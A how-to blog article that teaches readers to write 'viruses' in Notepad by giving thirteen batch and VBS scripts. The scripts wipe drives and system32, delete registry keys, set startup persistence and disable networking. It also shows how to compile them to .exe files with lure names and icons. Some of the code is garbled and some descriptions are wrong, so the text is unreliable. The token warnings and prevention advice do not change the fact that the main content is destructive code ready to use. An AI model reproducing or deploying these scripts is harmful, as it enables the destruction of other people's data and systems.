How to Make a Virus in Notepad – Notepad Virus Script

How to make a virus in a notepad is interesting information that everyone should know. But definitely, it should not be used for destructive purposes. It is similar to, your skills should be used in a better way and not the destroying way.

Make a Virus in Notepad

Some examples of getting caught with viruses

Do you ever get an email saying that you won $1,00,000? Or it states that you are the lucky winner of an Audi. Interesting hun! Looking at these subjects, you open your mail, and what happens is – it contains a virus. You get link(s) on your Facebook or WhatsApp stating that you have won a lucky draw and you get this free. To check what you have got as a lucky winner, you open the link. See what happens – you win a lottery of a virus.

notepad virus

To prevent the system from being damaged, antivirus software is used. But, this is only possible when you have an antivirus installed and it is open to scan the file. Some virus files still cannot be controlled by the antivirus software.

What is a Virus?

A virus is nothing but a script written in the coding language and saved as an executable file like a .vbs extension. This script damages your system or hardware component of the system when you open it.

The various scripts are written to hamper the system’s functions and spread across the audience via social media and email networks. To understand its concept, you may have to learn how to create a virus. In this article, we will share multiple scripts to create a virus.

virus

Symptoms of virus in your system

You will notice that your system is behaving differently than usual when it is infected with a virus. The following symptoms are observed if the system contains a virus –

  • Your system does not boot when switching on.
  • You will find the slowness in each activity you do on your computer.
  • You will see all of a sudden, pop-ups appear on your screen without any settings changed.
  • You may face the files getting deleted from the system automatically
  • You will find some software tools have got installed automatically
  • You cannot save any file/folder on your hard drive
  • You will see unknown files that have been generated in the system folder or the program files folder.
  • Your system restarts every few minutes

Also read: How to turn off Windows Defender

Virus Types

There are numerous viruses now spread throughout the world. Virus creators enjoy spreading them and proving their skills. There are many types of viruses – some are not that harmful, some are very dangerous and some are moderate in damaging the system.

  • Boot Sector Virus 
    • As the name is self-explanatory, this virus attacks your hard drive. As soon as the system is booted, the script file is executed and starts infecting your hard drive partition. This virus was introduced in the times of the floppy drive.
      The current trend for data storage is – people have started using Virtual drives and USB drives. Antivirus software comes up with the ability to remove this virus as they are well known.
    • Example – Stoned monkey virus is a type of boot sector virus and got detected in Canada first. The virus destroyed the Master Boot Record (MBR) of the system. It got spread over the UK, USA, and Australia.
  • Browser Attacking Virus
    • This type of virus gets attached to your Web browser. It controls the default page you have set for your browser and changes to some other page that is some fake functional page. The moment you try to change the URL from the address bar of your browser, it redirects you to some advertisement web page or signing up for the website you want to browse. These types of viruses can easily be removed by the antivirus program.
  • File Infector
    • This type of virus is referred to as a data destroyer too. The virus is embedded in .exe  and .com file extensions. Whenever you try to install the software, you execute the virus along with the software installation. And, you are unaware of it. It is contagious in terms of infecting other programs and executables on your system.
      It does not stop harming one file or folder or software, it almost ruins the majority of data of the system. The amount of damage to your system depends on how critical the virus file is.
    • Example – One Bulgarian created the virus named “Yankee Doodle”. This virus was not harmful. It just played the Yankee doodle song every day at 5 pm whoever had installed the file.
  • Macro Virus
    • This name is also self-explanatory. It runs as macros in your MS Word or MS Excel files. It keeps on running with a single key press. This can be spread via email attachments and once you open it, infection is spread across all the MS files located in your system.
      They can become more dangerous if the virus script contains the command to copy this file and email it to all the recipients added to your contact list. You can’t stop spreading it over a network.
    • Example – David L. Smith was a creator of the Melissa virus that was spread via email attachments and it caused damage of 80 million dollars. The creator was in jail for this deed and his access rights without authorization were taken. 
  • Web Scripting Virus
    • This type of virus is the most popular as the attackers will inject malicious content into the popular websites. The host of the website does not know its website contains the virus. Clicking on certain links or action buttons will install some files on your system and harms it. Hackers or attackers update the code of popular websites and arrange a trap for you.
    • Example – Trojan horses and rootkit are web scripting malware. 

Notepad Virus Scripts

Let us see how to make a virus with a notepad. Here are the 13 most famous notepad virus scripts listed.

Script 1: Create a virus using the .vbs file.

This script contains a variable defined to the WScript object with the action on which this script will be executed.

NOTE: This virus is not harmful, but annoying for the user who gets this on the system.

  1. Open notepad.
  2. Enter the code below.
set newtype=WScript.createObject(“wscript.shell”)
do
WScript.sleep 1000
newtype.sendkeys “{BACKSPACE}”
newtype.sendkeys “{CAPSLOCK}”
newtype.sendkeys “{NUMLOCK}”
newtype.sendkeys “{DELETE}”newtype.sendkeys “This is to inform you that you have won a lottery of $1,000,000. Enjoy the new type.”
newtype.sendkeys “{SCROLLOCK}”
loop
  1. Save the file as lottery.vbs.
  2. Go to the startup folder of your Windows. To do so, enter shell startup in the run box.
  3. Copy the lottery.vbs file to the startup folder.
lottery vbs virus
  1. Double-click on the file to run it or if you press the keys specified, it will open with the text “This is to inform you that you have won a lottery of $1,000,000. Enjoy the new type.” This text will be continuously typed and shown wherever you go on your system.

How to stop this notepad virus script?

  1. Go to the taskbar by clicking CTRL + ALT + DELETE keys.
  2. Click the Details tab. Search for wscript.exe.
  3. Right-click and select the End task option.
virus script
  1. Alternatively, you can click the End task button to shut the script.

Also read: How to fix broken registry in Windows

Script 2: Create a virus using a batch file using RANDOM code

The script contains a code that will destroy your entire system. It is a harmful virus.

WARNING: Please do not execute on your system for trial. It will completely format your drives and you will have nothing in hand.

  1. Open notepad.
  2. Enter the code below.
@echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM ############
REM ripl.blogspot.in
  1. Save the file as lottery.bat. The batch file will be created.
  2. You can convert this file as .exe using the converter tool. 
    • Open converter.
virusconverter
  • Extract the file, CONVERTER.rar. You will see the below.
convert virus
  • Double-click the Bat_To_Exe_Converter.exe file. The dialog box opens up.
virus
  • Select the lottery.bat file by clicking the 3-dot icon on the right side of the Batch file field.
  • The Save as will be automatically selected as a .exe file.
save virus
  • If you want to set the icon for the file, go to the Version Information tab.
  • Upload the icon image. Click the Compile button at the bottom.
  • You have successfully created the virus for destroying your system.

NOTE: Please do not execute or run the batch file or exe file for the above.

Script 3: Create a virus in notepad using a batch file using the del command

The script contains a code that will delete all of your device drivers from the system. This script is not dangerous as you can re-install all your device drivers again. The drivers that are installed in other drives except for the C:/ drive. 

  1. Open notepad.
  2. Enter the code below.
@echo off
del D:\ *.* /f /s /q
del E:\ *.* /f /s /q
del F:\ *.* /f /s /q
del G:\ *.* /f /s /q
del H:\ *.* /f /s /q
del I:\ *.* /f /s /q
del J:\ *.* /f /s /q
  1. Save the file as fun.bat. The batch file is created. 
  2. Executing the file will remove the drivers located in other drives.

Script 4: Create a virus in notepad using a reg delete command

The script contains the code that is going to delete your system registry files. Removing the registries will make it difficult for Windows to boot and you won’t be able to restore them if it doesn’t allow the system to boot.

NOTE: It is not recommended to execute the code to your system. 

  1. Open notepad.
  2. Enter the code below.
@echo off
START reg delete HKCR/*
START reg delete HKCR/.dll
START reg delete HKCR/.exe
  1. Save the file name as improve.bat. The virus file is created.
  2. The moment this file is executed, it will destroy system registries.

Also read: How to fix corrupt files in Windows

Script 5: Make a notepad virus using a batch file using ipconfig command

This script contains the code that disables the Internet on your computer. It is not harmful. 

  1. Open notepad.
  2. Enter the code below.
@echo off
ipconfig /release
  1. Save the file name as rockon.bat. The virus file is created.
  2. Executing this file will disable the Internet in your system.

Script 6: Make a virus in notepad using a batch file using the shutdown command

The script contains the code that shuts down the computer. Every time the file is run, the computer shuts down.

NOTE: This virus is not harmful. 

  1. Open notepad.
  2. Enter the code below.
@echo off
msg *you are the lucky winner
shutdown -c “Error! You are not lucky as thought!” -s
  1. Save the file name as luckywinner.bat. The virus file is created.
  2. Executing this file will shut down your system automatically.

Script 7: Make virus in notepad using .vbs file using Wscript

The script contains the code that will destroy the system and you cannot restart the computer. Once shut, it is shut forever.

NOTE: This virus is harmful and it is recommended not to experiment with this file.

  1. Open notepad.
  2. Enter the code below.
Option Explicit
Dim WSHShell
Set WSHShell=wscript.CreateObject(“Wscript.Shell”)
Dim newtype
For newtype = 1 to 100000000
WSHShell.Run “lottery.exe”
Next
  1. Save the file name as lottery.vbs. The virus file is created.
  2. Executing this file will shut down your system automatically.

Script 8: Make virus in notepad using a batch file using the rd command

This file contains code that formats your operating system. 

NOTE: This virus is harmful. Please do not execute the file.

  1. Open notepad.
  2. Enter the code below.
rd/s/q C:\
rd/s/q D:\
rd/s/q E:\
  1. Save as beautiful.bat. You are ready with the virus file.
  2. Executing this file will completely format your system.

Script 9: Make a virus in notepad using a batch file using multiple commands

This file contains code that completely destroys the system. Once it is executed, you cannot use that computer again.

NOTE: This virus is harmful. Please do not execute the file.

  1. Open notepad.
  2. Enter the code below.
echo @echo off>c:windowshartlell.bat
echo break off>c:windowshartlell.bat
echo shutdown -r -t 11 -f>c:windowshartlell.bat
echo end>c:windowshartlell.bat
reg add
hkey_local_machinesofwaremicrosoftwindowscurrentversionrun /v 
startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add
hkey_current_usersoftwaremicrosoftwindowscurrentverionrun /v/t reg_sz /d c:windowshartlell.bat /f
echo You are caught. Can’t get rid of it, Dude!
PAUSE
  1. Save the file name as sexydude.bat.
  2. Executing this file will just destroy the system.

Script 10: Make a virus in notepad using a batch file using multiple commands on system files

This file contains a code that will be used to delete your C: drive completely from the system.

NOTE: This virus is harmful. Please do not execute the file.

  1. Open notepad.
  2. Enter the code below.
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldrattrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
  1. Save the file name as improveyoursystem.bat.
  2. Executing this file will just destroy the system.

Script 11: Make a notepad virus using a batch file using the shutdown command 

This file contains a code that will shut down your computer a number of times specified in the system.

NOTE: This virus is not harmful. 

  1. Open notepad.
  2. Enter the code below.
Shutdown -s -t 50 c “Installing updates”
  1. Save the file name as improveyoursystem.bat.
  2. Executing this file will shut down your system 50 times.

Script 12: Make virus in notepad using a batch file using the del command for system32

This file contains the command to delete your system32 folder of C: drive and it will just stop the operating system from working. 

  1. Open notepad.
  2. Enter the code below.

del c:\WINDOWS\system32*.*/q

  1. Save the file name as improveyoursystem.bat.
  2. Executing this file will stop Windows functioning. It is dangerous code to execute in the system.

Script 13: Make a virus in notepad using a batch file using multiple commands to disable the Internet permanently

This file contains the code that will disable the Internet on that computer forever. You will not be able to recover or enable the Internet back again in that system.

NOTE: This is a harmful virus and should not be experimented with by executing this file.

  1. Open notepad.
  2. Enter the code below in the file.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat
echo ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.bat
reg add
hkey_local_machinesofwaremicrosoftwindowscurrentversionrun /v
WindowsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add
hkey_current_usersoftwaremicrosoftwindowscurrentverionrun /v 
CONTROLexit /t reg_sz /d c:windowshartlell.bat /f
echo You have disabled your INTERNET for lifetime
PAUSE
  1. Save the file name as beautiful.bat.
  2. Executing this file will disable the Internet forever in your system.

You will not be able to fix this ever.

We have seen different types of code creating virus files using notepad. Let us conclude this article on how we should be careful from viruses and prevent our system from dangerous viruses.

The steps to create a virus will give you the knowledge and you will learn how to protect your system from the virus. We have seen multiple scripts of make virus in notepad using different commands that can hamper your system

Prevention is better than cure

It is always recommended to be careful while opening unknown email attachments, links, and the files that are with .bat, .exe, or .vbs extensions. Antivirus software such as Norton, Symantec, PC Protect, Bitdefender, ScanGuard, and MacAfee are intended to clean the virus from the system.

Some of the antivirus software is free initially that scan the system and detect if your system is infected with the virus. You need to buy a license to get more features and facilitates or to remove viruses from the system.

To protect your system from viruses, you need to keep the antivirus software installed with the latest version and keep scanning your system periodically. You can also keep a backup of your important data in the external hard drive so that in case any damage happens, your important data is safe with you.

Another prevention measure you can take is to keep your system drives locked as “write-protected”. This will restrict any files to be executed from any of your drives. Keep cleaning up unnecessary files at regular intervals.

Viruses are dangerous and harmful and the hackers do not intend to do only pranks, they spread the viruses to just destroy the system. Never underestimate any unknown file that is being accidentally downloaded by you. Beware of it before executing it. It may be a VIRUS!

Thank you for reading, we hope this topic on how to make a virus with a notepad is helpful for you.

Read: How Incognito Mode Differs from Normal Browsing Mode?